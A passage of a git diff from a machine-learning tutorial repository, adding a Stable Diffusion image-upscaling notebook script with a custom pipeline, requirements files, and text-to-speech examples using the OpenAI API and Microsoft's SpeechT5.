+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e926a97d3f6149318dd6f01d17e90dd5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ea062db0a1ad43af805bf2d86d26d369": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b9cf936d26124cad959de16fcf5bea63",
+            "placeholder": "​",
+            "style": "IPY_MODEL_b3ae18d50eb4415b950f98bb38362207",
+            "value": "100%"
+          }
+        },
+        "ec0c44e82a814774823e60634d678b0d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ed75698d0ffe4bcf886c72d276bbee17": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ed9e0cfb4635476f9e31c5b48aeafde8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ee5e249b357649ab95d493d940bc3b01": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "efb86ed04a0d477794e70dc92219399b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_10d895cb5166417fa2b4cc0d2feb7b6f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_23b55638314c4e2b967f85ab40042a6c",
+            "value": " 1.36G/1.36G [00:25&lt;00:00, 66.5MB/s]"
+          }
+        },
+        "f24b18d71065474a9f169b4fd66898f6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f3c0042a67e34e72b1088b60c11ba2d0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f6579ff0c08648309711a654ec3de748": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f78f911cd0ac4cdc8fdcbcb29f1a201b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_90c7965cfde540158d9e7cb049c2d7d3",
+            "placeholder": "​",
+            "style": "IPY_MODEL_b991b21d18ec471fb18b291a0c10aa6e",
+            "value": " 460/460 [00:00&lt;00:00, 2.77kB/s]"
+          }
+        },
+        "f874ed5ecd6f4eed976ed24b0be4ae51": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f8c3945c2c554cc9b7ea7435525c4ab4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f931614414ba46adaab4c0522e65ebf8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f931d10a75ab4aafb1d6b92a0ba622b3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5d3f04417ce64f80a2843e74bf6208f7",
+            "placeholder": "​",
+            "style": "IPY_MODEL_341fa26d73394e6cb71498a9c95b458c",
+            "value": " 1.06M/1.06M [00:00&lt;00:00, 4.16MB/s]"
+          }
+        },
+        "fb2398f1e5ff43f7a2f81bd51bf58e2a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_53fa5e54123446199d57c27c3ee8b091",
+              "IPY_MODEL_07a431a9456648b6bcbfa899ee0014ac",
+              "IPY_MODEL_2f972961c0eb411ca45b8af05cc05e3b"
+            ],
+            "layout": "IPY_MODEL_6525d3514cee42f3bd14bdf898b63ad2"
+          }
+        },
+        "fc9a8403148c431e8b0200d40c6efcb7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_8b24a6ee676942ddaa27f44902ef2ac5",
+              "IPY_MODEL_5b74c15d312f404e88323771b08b0aeb",
+              "IPY_MODEL_7ad5acf646b44af2a1d8558abbb59199"
+            ],
+            "layout": "IPY_MODEL_d22523983b9a4c71a3057f3a281895ee"
+          }
+        },
+        "fcc7b1147ad94a01ae49b4268e85d310": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ff88d9a5f7d64ad7bb0f09f6c71543f1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        }
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/stable-diffusion-upscaler/requirements.txt b/machine-learning/stable-diffusion-upscaler/requirements.txt
new file mode 100644
index 00000000..6feca34e
--- /dev/null
+++ b/machine-learning/stable-diffusion-upscaler/requirements.txt
@@ -0,0 +1,6 @@
+torch
+diffusers 
+transformers 
+accelerate 
+scipy 
+safetensors
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py b/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py
new file mode 100644
index 00000000..06efe53c
--- /dev/null
+++ b/machine-learning/stable-diffusion-upscaler/stable_diffusion_upscaler.py
@@ -0,0 +1,303 @@
+# %%
+!pip install -qU diffusers transformers accelerate scipy safetensors
+
+# %% [markdown]
+# # Hugging Face Implementation
+
+# %%
+import requests
+from PIL import Image
+from io import BytesIO
+from diffusers import StableDiffusionUpscalePipeline
+import torch
+
+# %%
+# load model and scheduler
+model_id = "stabilityai/stable-diffusion-x4-upscaler"
+pipeline = StableDiffusionUpscalePipeline.from_pretrained(model_id, torch_dtype=torch.float16)
+pipeline = pipeline.to("cuda")
+
+# %%
+def get_low_res_img(url, shape):
+    response = requests.get(url)
+    low_res_img = Image.open(BytesIO(response.content)).convert("RGB")
+    low_res_img = low_res_img.resize(shape)
+    return low_res_img
+
+# %%
+url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg"
+shape = (200, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "an aesthetic kingfisher"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+prompt = "an aesthetic kingfisher, UHD, 4k, hyper realistic, extremely detailed, professional, vibrant, not grainy, smooth"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+upscaled_interpolation = low_res_img.resize((800, 512))
+upscaled_interpolation
+
+# %%
+url = "https://cdn.pixabay.com/photo/2022/06/14/20/57/woman-7262808_1280.jpg"
+shape = (200, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "an old lady"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+prompt = "an iranian old lady with black hair, brown scarf, rock background"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+upscaled_interpolation = low_res_img.resize((800, 512))
+upscaled_interpolation
+
+# %%
+url = "https://cdn.pixabay.com/photo/2017/12/28/07/44/zebra-3044577_1280.jpg"
+shape = (450, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "zebras drinking water"
+upscaled_image = pipeline(prompt=prompt, image=low_res_img).images[0]
+upscaled_image
+
+# %%
+upscaled_interpolation = low_res_img.resize((1800, 512))
+upscaled_interpolation
+
+# %%
+
+
+# %%
+
+
+# %% [markdown]
+# # Custom
+# 
+
+# %%
+from tqdm import tqdm
+from torch import autocast
+
+# %%
+class CustomSDUpscalingPipeline:
+    """custom implementation of the Stable Diffusion Upscaling Pipeline"""
+
+    def __init__(self,
+                 vae,
+                 tokenizer,
+                 text_encoder,
+                 unet,
+                 low_res_scheduler,
+                 scheduler,
+                 image_processor):
+
+        self.vae = vae
+        self.tokenizer = tokenizer
+        self.text_encoder = text_encoder
+        self.unet = unet
+        self.low_res_scheduler = low_res_scheduler
+        self.scheduler = scheduler
+        self.image_processor = image_processor
+        self.device = 'cuda' if torch.cuda.is_available() else 'cpu'
+
+
+
+    def get_text_embeds(self, text):
+        """returns embeddings for the given `text`"""
+
+        # tokenize the text
+        text_input = self.tokenizer(text,
+                                    padding='max_length',
+                                    max_length=tokenizer.model_max_length,
+                                    truncation=True,
+                                    return_tensors='pt')
+        # embed the text
+        with torch.no_grad():
+            text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]
+        return text_embeds
+
+
+
+    def get_prompt_embeds(self, prompt):
+        """returns prompt embeddings based on classifier free guidance"""
+
+        if isinstance(prompt, str):
+            prompt = [prompt]
+        # get conditional prompt embeddings
+        cond_embeds = self.get_text_embeds(prompt)
+        # get unconditional prompt embeddings
+        uncond_embeds = self.get_text_embeds([''] * len(prompt))
+        # concatenate the above 2 embeds for classfier free guidance
+        prompt_embeds = torch.cat([uncond_embeds, cond_embeds])
+        return prompt_embeds
+
+
+    def transform_image(self, image):
+        """convert image from pytorch tensor to PIL format"""
+
+        image = self.image_processor.postprocess(image, output_type='pil')
+        return image
+
+
+
+    def get_initial_latents(self, height, width, num_channels_latents, batch_size):
+        """returns noise latent tensor of relevant shape scaled by the scheduler"""
+
+        image_latents = torch.randn((batch_size, num_channels_latents, height, width)).to(self.device)
+        # scale the initial noise by the standard deviation required by the scheduler
+        image_latents = image_latents * self.scheduler.init_noise_sigma
+        return image_latents
+
+
+
+    def denoise_latents(self,
+                        prompt_embeds,
+                        image,
+                        timesteps,
+                        latents,
+                        noise_level,
+                        guidance_scale):
+        """denoises latents from noisy latent to a meaningful latents"""
+
+        # use autocast for automatic mixed precision (AMP) inference
+        with autocast('cuda'):
+            for i, t in tqdm(enumerate(timesteps)):
+                # duplicate image latents to do classifier free guidance
+                latent_model_input = torch.cat([latents] * 2)
+                latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)
+                latent_model_input = torch.cat([latent_model_input, image], dim=1)
+
+                # predict noise residuals
+                with torch.no_grad():
+                    noise_pred = self.unet(
+                        latent_model_input,
+                        t,
+                        encoder_hidden_states=prompt_embeds,
+                        class_labels=noise_level
+                    )['sample']
+
+                # separate predictions for unconditional and conditional outputs
+                noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)
+
+                # perform guidance
+                noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)
+
+                # remove the noise from the current sample i.e. go from x_t to x_{t-1}
+                latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']
+
+        return latents
+
+
+
+    def __call__(self,
+                 prompt,
+                 image,
+                 num_inference_steps=20,
+                 guidance_scale=9.0,
+                 noise_level=20):
+        """generates new image based on the `prompt` and the `image`"""
+
+        # encode input prompt
+        prompt_embeds = self.get_prompt_embeds(prompt)
+
+        # preprocess image
+        image = self.image_processor.preprocess(image).to(self.device)
+
+        # prepare timesteps
+        self.scheduler.set_timesteps(num_inference_steps, device=self.device)
+        timesteps = self.scheduler.timesteps
+
+        # add noise to image
+        noise_level = torch.tensor([noise_level], device=self.device)
+        noise = torch.randn(image.shape, device=self.device)
+        image = self.low_res_scheduler.add_noise(image, noise, noise_level)
+
+        # duplicate image for classifier free guidance
+        image = torch.cat([image] * 2)
+        noise_level = torch.cat([noise_level] * image.shape[0])
+
+        # prepare the initial image in the latent space (noise on which we will do reverse diffusion)
+        num_channels_latents = self.vae.config.latent_channels
+        batch_size = prompt_embeds.shape[0] // 2
+        height, width = image.shape[2:]
+        latents = self.get_initial_latents(height, width, num_channels_latents, batch_size)
+
+        # denoise latents
+        latents = self.denoise_latents(prompt_embeds,
+                                       image,
+                                       timesteps,
+                                       latents,
+                                       noise_level,
+                                       guidance_scale)
+
+        # decode latents to get the image into pixel space
+        latents = latents.to(torch.float16)
+        image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]
+
+        # convert to PIL Image format
+        image = self.transform_image(image.detach()) # detach to remove any computed gradients
+
+        return image
+
+# %%
+# get all the components from the SD Upscaler pipeline
+vae = pipeline.vae
+tokenizer = pipeline.tokenizer
+text_encoder = pipeline.text_encoder
+unet = pipeline.unet
+low_res_scheduler = pipeline.low_res_scheduler
+scheduler = pipeline.scheduler
+image_processor = pipeline.image_processor
+
+custom_pipe = CustomSDUpscalingPipeline(vae, tokenizer, text_encoder, unet, low_res_scheduler, scheduler, image_processor)
+
+# %%
+url = "https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg"
+shape = (200, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "an aesthetic kingfisher"
+upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]
+upscaled_image
+
+# %%
+url = "https://cdn.pixabay.com/photo/2018/07/31/22/08/lion-3576045_1280.jpg"
+shape = (200, 128)
+low_res_img = get_low_res_img(url, shape)
+
+low_res_img
+
+# %%
+prompt = "a professional photograph of a lion's face"
+upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]
+upscaled_image
+
+# %%
+upscaled_interpolation = low_res_img.resize((800, 512))
+upscaled_interpolation
+
+# %%
+
+
+
diff --git a/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 b/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3
new file mode 100644
index 00000000..45d11628
Binary files /dev/null and b/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 differ
diff --git a/machine-learning/text-to-speech/README.md b/machine-learning/text-to-speech/README.md
index c9b5b640..4786b024 100644
--- a/machine-learning/text-to-speech/README.md
+++ b/machine-learning/text-to-speech/README.md
@@ -2,3 +2,5 @@
 - `pip3 install -r requirements.txt`
 - To convert text to speech online using Google API, use `tts_google.py`
 - To use offline engines in your platform, consider using `tts_pyttsx3.py`
+- To use the OpenAI API, use `tts_openai.py`
+- To use transformers, use `tts_transformers.py`
diff --git a/machine-learning/text-to-speech/requirements b/machine-learning/text-to-speech/requirements
deleted file mode 100644
index b4362d6e..00000000
--- a/machine-learning/text-to-speech/requirements
+++ /dev/null
@@ -1,3 +0,0 @@
-pyttsx3
-gTTS
-playsound
\ No newline at end of file
diff --git a/machine-learning/text-to-speech/requirements.txt b/machine-learning/text-to-speech/requirements.txt
new file mode 100644
index 00000000..7c4e99dd
--- /dev/null
+++ b/machine-learning/text-to-speech/requirements.txt
@@ -0,0 +1,8 @@
+pyttsx3
+gTTS
+playsound
+soundfile
+transformers
+datasets
+sentencepiece
+openai
\ No newline at end of file
diff --git a/machine-learning/text-to-speech/tts_openai.py b/machine-learning/text-to-speech/tts_openai.py
new file mode 100644
index 00000000..2087fea6
--- /dev/null
+++ b/machine-learning/text-to-speech/tts_openai.py
@@ -0,0 +1,20 @@
+from openai import OpenAI
+
+# initialize the OpenAI API client
+api_key = "YOUR_OPENAI_API_KEY"
+client = OpenAI(api_key=api_key)
+
+# sample text to generate speech from
+text = """In his miracle year, he published four groundbreaking papers. 
+These outlined the theory of the photoelectric effect, explained Brownian motion, 
+introduced special relativity, and demonstrated mass-energy equivalence."""
+
+# generate speech from the text
+response = client.audio.speech.create(
+    model="tts-1", # the model to use, there is tts-1 and tts-1-hd
+    voice="nova", # the voice to use, there is alloy, echo, fable, onyx, nova, and shimmer
+    input=text, # the text to generate speech from
+    speed=1.0, # the speed of the generated speech, ranging from 0.25 to 4.0
+)
+# save the generated speech to a file
+response.stream_to_file("openai-output.mp3")
\ No newline at end of file
diff --git a/machine-learning/text-to-speech/tts_transformers.py b/machine-learning/text-to-speech/tts_transformers.py
new file mode 100644
index 00000000..8ba6414e
--- /dev/null
+++ b/machine-learning/text-to-speech/tts_transformers.py
@@ -0,0 +1,67 @@
+from transformers import SpeechT5Processor, SpeechT5ForTextToSpeech, SpeechT5HifiGan
+from datasets import load_dataset
+import torch
+import random
+import string
+import soundfile as sf
+
+device = "cuda" if torch.cuda.is_available() else "cpu"
+# load the processor
+processor = SpeechT5Processor.from_pretrained("microsoft/speecht5_tts")
+# load the model
+model = SpeechT5ForTextToSpeech.from_pretrained("microsoft/speecht5_tts").to(device)
+# load the vocoder, that is the voice encoder
+vocoder = SpeechT5HifiGan.from_pretrained("microsoft/speecht5_hifigan").to(device)
+# we load this dataset to get the speaker embeddings
+embeddings_dataset = load_dataset("Matthijs/cmu-arctic-xvectors", split="validation")
+
+# speaker ids from the embeddings dataset
+speakers = {
+    'awb': 0,     # Scottish male
+    'bdl': 1138,  # US male
+    'clb': 2271,  # US female
+    'jmk': 3403,  # Canadian male
+    'ksp': 4535,  # Indian male
+    'rms': 5667,  # US male
+    'slt': 6799   # US female
+}
+
+def save_text_to_speech(text, speaker=None):
+    # preprocess text
+    inputs = processor(text=text, return_tensors="pt").to(device)
+    if speaker is not None:
+        # load xvector containing speaker's voice characteristics from a dataset
+        speaker_embeddings = torch.tensor(embeddings_dataset[speaker]["xvector"]).unsqueeze(0).to(device)
+    else:
+        # random vector, meaning a random voice
+        speaker_embeddings = torch.randn((1, 512)).to(device)
+    # generate speech with the models
+    speech = model.generate_speech(inputs["input_ids"], speaker_embeddings, vocoder=vocoder)
+    if speaker is not None:
+        # if we have a speaker, we use the speaker's ID in the filename
+        output_filename = f"{speaker}-{'-'.join(text.split()[:6])}.mp3"
+    else:
+        # if we don't have a speaker, we use a random string in the filename
+        random_str = ''.join(random.sample(string.ascii_letters+string.digits, k=5))
+        output_filename = f"{random_str}-{'-'.join(text.split()[:6])}.mp3"
+    # save the generated speech to a file with 16KHz sampling rate
+    sf.write(output_filename, speech.cpu().numpy(), samplerate=16000)
+    # return the filename for reference
+    return output_filename
+
+# generate speech with a US female voice
+save_text_to_speech("Python is my favorite programming language", speaker=speakers["slt"])
+# generate speech with a random voice
+save_text_to_speech("Python is my favorite programming language")
+
+# a challenging text with all speakers
+text = """In his miracle year, he published four groundbreaking papers. 
+These outlined the theory of the photoelectric effect, explained Brownian motion, 
+introduced special relativity, and demonstrated mass-energy equivalence."""
+
+for speaker_name, speaker in speakers.items():
+    output_filename = save_text_to_speech(text, speaker)
+    print(f"Saved {output_filename}")
+# random speaker
+output_filename = save_text_to_speech(text)
+print(f"Saved {output_filename}")
\ No newline at end of file
diff --git a/machine-learning/visual-question-answering/000000007226.jpg b/machine-learning/visual-question-answering/000000007226.jpg
new file mode 100644
index 00000000..56932377
